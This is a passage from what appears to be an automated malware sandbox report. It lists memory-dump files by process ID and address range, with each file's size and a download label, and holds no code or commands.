                                                  • memory/3192-276-0x000001857F080000-0x000001857F0F1000-memory.dmp

                                                    Filesize

                                                    452KB

                                                    Download

                                                  • memory/3736-208-0x0000000000BC0000-0x0000000000ECA000-memory.dmp

                                                    Filesize

                                                    3.0MB

                                                    Download

                                                  • memory/3736-64-0x0000000000BC0000-0x0000000000ECA000-memory.dmp

                                                    Filesize

                                                    3.0MB

                                                    Download

                                                  • memory/3736-48-0x0000000000BC0000-0x0000000000ECA000-memory.dmp

                                                    Filesize

                                                    3.0MB

                                                    Download

                                                  • memory/3736-100-0x0000000000BC0000-0x0000000000ECA000-memory.dmp

                                                    Filesize

                                                    3.0MB

                                                    Download

                                                  • memory/3736-137-0x0000000000BC0000-0x0000000000ECA000-memory.dmp

                                                    Filesize

                                                    3.0MB

                                                    Download

                                                  • memory/3736-245-0x0000000000BC0000-0x0000000000ECA000-memory.dmp

                                                    Filesize

                                                    3.0MB

                                                    Download

                                                  • memory/3736-190-0x0000000000BC0000-0x0000000000ECA000-memory.dmp

                                                    Filesize

                                                    3.0MB

                                                    Download

                                                  • memory/3884-36943-0x00000221096B0000-0x00000221096B8000-memory.dmp

                                                    Filesize

                                                    32KB

                                                    Download

                                                  • memory/3884-36912-0x000002219FDB0000-0x00000221A0F44000-memory.dmp

                                                    Filesize

                                                    17.6MB

                                                    Download

                                                  • memory/3988-38833-0x0000000000BC0000-0x0000000000ECA000-memory.dmp

                                                    Filesize

                                                    3.0MB

                                                    Download

                                                  • memory/3988-39061-0x0000000000BC0000-0x0000000000ECA000-memory.dmp

                                                    Filesize

                                                    3.0MB

                                                    Download

                                                  • memory/4272-99-0x0000000000400000-0x000000000040B000-memory.dmp

                                                    Filesize

                                                    44KB

                                                    Download

                                                  • memory/5972-133-0x0000000000400000-0x0000000000468000-memory.dmp

                                                    Filesize

                                                    416KB

                                                    Download

                                                  • memory/5972-132-0x0000000000400000-0x0000000000468000-memory.dmp

                                                    Filesize

                                                    416KB

                                                    Download

                                                  • memory/6368-36872-0x0000000000BC0000-0x0000000000ECA000-memory.dmp

                                                    Filesize

                                                    3.0MB

                                                    Download

                                                  • memory/6368-36875-0x0000000000BC0000-0x0000000000ECA000-memory.dmp

                                                    Filesize

                                                    3.0MB

                                                    Download

                                                  • memory/6844-36888-0x000001463A110000-0x000001463A132000-memory.dmp

                                                    Filesize

                                                    136KB

                                                    Download